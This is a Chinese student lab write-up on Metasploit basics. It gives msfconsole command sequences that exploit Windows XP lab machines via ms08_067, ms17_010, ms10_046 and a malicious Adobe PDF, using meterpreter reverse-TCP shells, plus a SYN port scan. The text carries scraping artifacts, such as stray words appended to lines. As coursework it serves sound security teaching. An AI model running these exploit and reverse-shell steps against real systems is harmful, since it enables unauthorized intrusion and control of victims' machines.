2018-2019 2 20165203 《网络对抗技术》Exp5 MSF基础

2018-2019 2 20165203 《网络对抗技术》Exp5 MSF基础

实验内容

本实践目标是掌握metasploit的基本应用方式,重点经常使用的三种攻击方式的思路。具体须要完成:html

1.1一个主动攻击实践,如ms08_067; (1分)shell

1.2 一个针对浏览器的攻击,如ms11_050;(1分)windows

1.3 一个针对客户端的攻击,如Adobe;(1分)api

1.4 成功应用任何一个辅助模块。(0.5分)浏览器

以上四个小实践可不限于以上示例,并要求至少有一个是和其余全部同窗不同的,不然扣除0.5分。安全

基础知识问答

用本身的话解释什么是exploit,payload,encode.ruby

用本身感受通俗的话来讲:网络

exploit: msf用来攻击的一种模块工具。
payload: 老师上课说的,用来将msf生成的shellcode送到执行攻击程序的代码里去。
encode: 主要功能是编码,就是假装攻击代码,让它可以绕过“坏字符”,从而能正常地攻击靶机,避免出现因“坏字符”而出现问题。session

知识储备

MSF的六种模块架构

  • Exploit模块
    是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而得到对远程目标系统访问权的代码组件。
    其实就是攻击模块,即负责攻击的模块。
  • Payload模块
    是在渗透成功后促使目标系统运行的一端植入代码,一般做用是为渗透攻击者打开在目标系统上的控制会话链接。实际上,该模块就是计算机集成的针对不一样操做系统实现shellcode攻击的ruby代码,通俗地来讲,就是负责“搬运”shellcode。
  • Encoder模块
    针对payload进行编码,能够经过多种编码手段、屡次编码方式有效的改变payload代码特征
    不改变payload做用,但能对payload进行加工,使其绕过“坏字符”。
  • Aux模块
    可以帮助渗透测试中在进行渗透攻击以前获得的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    主要包括针对各类网络服务的扫描和查点、构建虚假服务收集登陆密码、口令猜想破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块
    支持在渗透攻击取得目标系统远程控制权以后,在受控系统中进行给各样的后渗透攻击动做。
    这里主要指的是攻击以后可能用到的一些模块。
  • Nops模块
    是一些对程序运行状态不会形成任何实质影响的空操做或无关操做指令,最典型的空指令就是空操做,在X86 CPU体系架构平台上的操做码是0x90
    由于有些代码返回地址很难确认,因此在实际中有时候会填充一大段空指令,便于快速肯定返回地址的位置。

实践过程

一个主动攻击实践

ms08_067_netapi(成功)

攻击方:Kali(192.168.154.152)
靶机:WindowsXP SP3(English)(192.168.154.153)
Ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击能够得到一个相对高的权限。
  • 首先,咱们能够先扫描一下靶机有哪些漏洞,我找到了一篇博客----metaaploit利用漏洞渗透靶机,里面介绍的很详细。有两个指令能够扫描:nmap -O 靶机IPnmap --script==vuln 靶机IP。咱们能够都来试一下:

    • 输入nmap -O 192.168.154.153,如图所示,呵呵,什么鬼。

    • 输入nmap --script==vuln 192.168.154.153,如图所示,咱们能够发现有两个漏洞:ms08_067ms017-010,咱们能够都试一下。

  • 打开msfconsole,查看一下ms08_067,输入search ms08_067,咱们能够看到在攻击模块中确实存在这样一个漏洞exploit/windows/smb/ms08_067_netapi

  • 咱们就利用这个漏洞来进行攻击,输入use exploit/windows/smb/ms08_067_netapi

  • 接下来,问题又来了,用什么攻击载荷payload来进行攻击呢?咱们能够输入show payloads来查看一下。

  • 咱们能够看到不少可用的payload,我就选择一个咱们前几回实验没有用过的generic/meterpreter_reverse_tcp吧,输入set payload generic/meterpreter_reverse_tcp来设置相关参数。

  • 那么,问题又来了,有哪些参数须要设置呢?咱们能够输入show options来查看。

  • 咱们能够看到咱们须要设置的有RHOST----被攻击的靶机IP

  • 咱们就能够着手开始设置了,输入set RHOST 192.168.154.153,在这里,其实其余的参数就不用设置,只不过一开始作实验比较保守,就给设置了,嘻嘻。

  • 设置好参数后,输入exploit开始攻击。

  • 攻击成功就会显示如图所示画面。

  • 输入一个指令dir,就会显示全部文件了。

ms017_010_psexec(成功且惟一)

接下来咱们尝试一下ms017_010_psexec

  • 打开msfconsole,输入search ms017_010搜索一下。

  • 咱们能够看到这样的漏洞存在3个,前两个都有人作过,咱们试一下第3个ms017_010_psexec

  • 输入use exploit/windows/smb/ms017_010_psexec使用这个漏洞模块。

  • 接下来,咱们仍是输入show payloads看看有哪些可用的攻击载荷。

  • 选择windows/meterpreter/reverse_tcp,输入set payloads windows/meterpreter/reverse_tcp,这里显示的参数一大堆,不过好多都已经默认了,咱们只须要设置LHOST就好。

  • 输入set LHOST 192.168.154.152,其余的不用设置,本身又保守了。

  • 接下来输入exploit进行攻击,哇,出现了终端,输入dir,成功了,开心地蹦起。

一个针对浏览器的攻击

ms10_042(失败)

攻击方:Kali(192.168.154.152)
靶机:Windows XP SP3(English)(192.168.154.153)
  • 首先,输入cd /usr/share/metaploit-framework/modules/exploit/windows/browser查询看一下有什么漏洞能够攻击,如图所示,发现一个漏洞ms10_042.

  • 打开msfconsole进行查询。
  • 输入search ms10_042,搜索该漏洞。

  • 输入info exploit/windows/browsers/ms10_042_helpctr_xss_cmd_exec来查询该漏洞,咱们能够看到相应靶机。

这里看到的靶机是自动搜索的。

  • 输入use exploit/windows/browsers/ms10_042_helpctr_xss_cmd_exec,使用该模块。
  • 和上面同样,查询相应的payloads,我选择windows/meterpreter/reverse_tcp的攻击载荷,输入set payload windows/meterpreter/reverse_tcp,并输入show options显示相应参数,发现咱们只须要设置LHOST

  • 输入exploit进行攻击,遗憾的是,没有弹出相应连接入口,攻击失败。

ms10_046_shortcut_icon_dllloader(成功且惟一)

攻击方:Kali(192.168.154.152)
靶机:windows xp sp3(English)(192.168.154.153)
  • 根据刚才在/usr/share/metaploit-framework/modules/exploit/windows/browser中看到的漏洞,咱们能够看到还有一个漏洞ms10_046_shortcut_icon_dllloader

  • 仍是刚才的思路,输入命令

search ms10_046 //查询该漏洞的路径
info exploit/windows/browser/ms10_046_shortcut_icon_dllloader//查询该漏洞相应的信息
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader//使用该漏洞
show payloads//展现该漏洞相应的攻击载荷
set payload windows/meterpreter/reverse_tcp//设置相应的攻击载荷的参数
set LHOST 192.168.154.152
set SRVHOST 192.168.154.152
set RHOST 192.168.154.153
exploit//开始攻击
  • 出现如图所示界面,主要是弹出了一个连接入口http://192.168.154.152:80,如图所示。

  • 在靶机中打开这个连接,弹出两个文件,打开其中一个文件

  • 打开后,咱们就能够发现kali已经创建了会话,输入sessions,咱们就能够看到创建会话的ID。

  • 输入sessions -i 1,打开session,成功(长舒一口气)。

一个针对客户端的攻击

攻击Adobe(成功)

攻击方:Kali(192.168.154.152)
靶机:windows XP sp3(192.168.154.153)

步骤:

msfconsole//打开msf
search adobe//查找与adobe有关的漏洞
use windows/fileformat/adobe_cooltype_sing //使用攻击模块
set payload windows/meterpreter/reverse_tcp//设置攻击载荷
set LHOST 192.168.154.152
set FILENAME 20165203.pdf//设置生成文件的文件名
exploit//攻击

  • 如图所示,显示文件已生成在root/.msf4/local/下,咱们能够进入此路径,找到该文件。

  • 将生成的文件20165203.pdf复制到靶机中。

  • 在Kali中输入back退出当前模块,开始监听
  • 输入
use exploit/multi/handler//使用监听模块
set payload windows/meterpreter/reverse_tcp//设置攻击载荷
set LHOST 192.168.154.152
exploit//攻击
  • 在靶机中打开相应的后门文件20165203.pdf

  • 如图所示,攻击成功,这个没有遇到太多困难。

成功应用任何一个辅助模块

使用auxiliary/scanner/portscan/syn模块攻击(成功且惟一)

  • 进入msfconsole后,我用show auxiliary来展现一下辅助模块,发现了不少扫描端口的模块。

我也上网搜了一下,这些标识的内容:

ack:经过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;
ftpbounce:经过FTP BOUNCE攻击的原理对TCP服务进行枚举
syn:使用发送TCP SYN标志的方式探测开放的端口
tcp:经过一次完整的TCP连接来判断端口是否开放
xmas:一种更为隐蔽的扫描方式,经过发送FIN,PSH,URG标志可以躲避一些TCP标记检测器的过滤
  • 我选择了auxiliary/scanner/portscan/syn模块,输入use auxiliary/scanner/portscan/syn使用这个模块。
  • 利用show options来查看参数。

  • 输入
set RHOST 192.168.154.153//设置靶机地址
set THREAD 50//设置线程数
  • 输入run运行

  • 此时,咱们也能够在msf中利用nmap的相关指令对主机进行扫描,如图所示,输入nmap -sS -Pn 192.168.154.153对靶机进行扫描。

  • 经过观察不难发现,扫描速度更快,而且对每种端口的做用也有了个说明,能弄清楚每一个端口的做用。

实验小总结

经过上面的实验,咱们能够总结出使用MSF攻击通常有两种思路:

  • 肯定靶机。
nmap -O 靶机IP 或 nmap --script==vuln 靶机IP//扫描靶机上的漏洞

msfconsole//打开msf

search 漏洞关键字//找出模块的路径

开始进行一系列攻击
  • 不肯定靶机
进入相应文件夹查找漏洞

msfconsole//打开msf

search 漏洞关键字//找出模块的路径

info 模块路径//查询模块的信息,尤为注意target,根据target信息来找相应的靶机

进行一系列攻击

实验中遇到的问题及解决方法

基本遇到的问题就是一直在找靶机,找Target对应的版本,遇到了一个小问题,但愿对你们有帮助。

Q:在攻击Adobe时,生成的20165203.pdf文件没有找到,甚至/root下的msf4/local/也没有找到。

A:当时本身的反应是文件夹被隐藏了,因而我经过点击右上的下三角,将显示隐藏的文件勾上便可。

离实战还缺什么步骤

我感受目前咱们对漏洞的分析仍是具备必定的局限性,仅限于从网上找一些你们攻击过的漏洞来进行攻击。要想达到实战的能力,咱们还应有探索的勇气,勇于找到一些新的攻击模块,本身一步一步查询相应的靶机,查询相应的参数来进行设置,因此,仍是须要多多实战。

实验感想

经过本次实验,我对MSF有了更深的理解,原来本身一直分不清msfmetaploitmsfconsolemeterpreter的关系,如今也明白了metaploitmsf的一个版本,msfconsolemsf的一个接口,meterpretermsf的一个工具。 本身也经过实验总结了使用MSF攻击的思路和通常步骤,此次实验真的颇有收获,可是《网络对抗》仍是一个实战性的科目,本身还须要多多实践。

相关文章
相关标签/搜索